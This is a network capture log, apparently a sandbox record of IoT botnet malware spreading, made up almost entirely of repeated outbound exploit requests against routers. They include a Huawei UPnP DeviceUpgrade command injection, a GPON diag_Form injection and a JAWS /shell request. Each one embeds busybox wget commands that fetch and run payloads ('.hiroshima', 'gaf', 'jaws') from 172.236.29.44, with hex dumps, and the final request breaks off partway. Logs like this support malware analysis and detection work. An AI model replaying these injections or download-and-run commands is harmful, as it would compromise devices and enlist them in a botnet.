Oct 17, 2024 02:19:44.137882948 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	55068	178.176.33.253	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.164073944 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	49896	202.116.136.217	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.164119959 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	33508	210.29.71.196	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.164127111 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	56732	156.105.45.222	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.201015949 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	39356	156.68.97.235	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.361443043 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	47224	197.192.132.151	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.365291119 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	43928	9.97.245.184	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.368299961 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	45522	135.110.177.174	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.371063948 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	56810	197.133.19.220	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.393076897 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	48180	156.154.137.128	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.394753933 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	39894	197.144.202.170	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.131767035 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	47110	113.128.194.225	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.162909985 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	51026	5.130.89.178	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.193078041 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	58188	41.187.219.13	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.253990889 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	44458	41.255.64.17	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.255779028 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 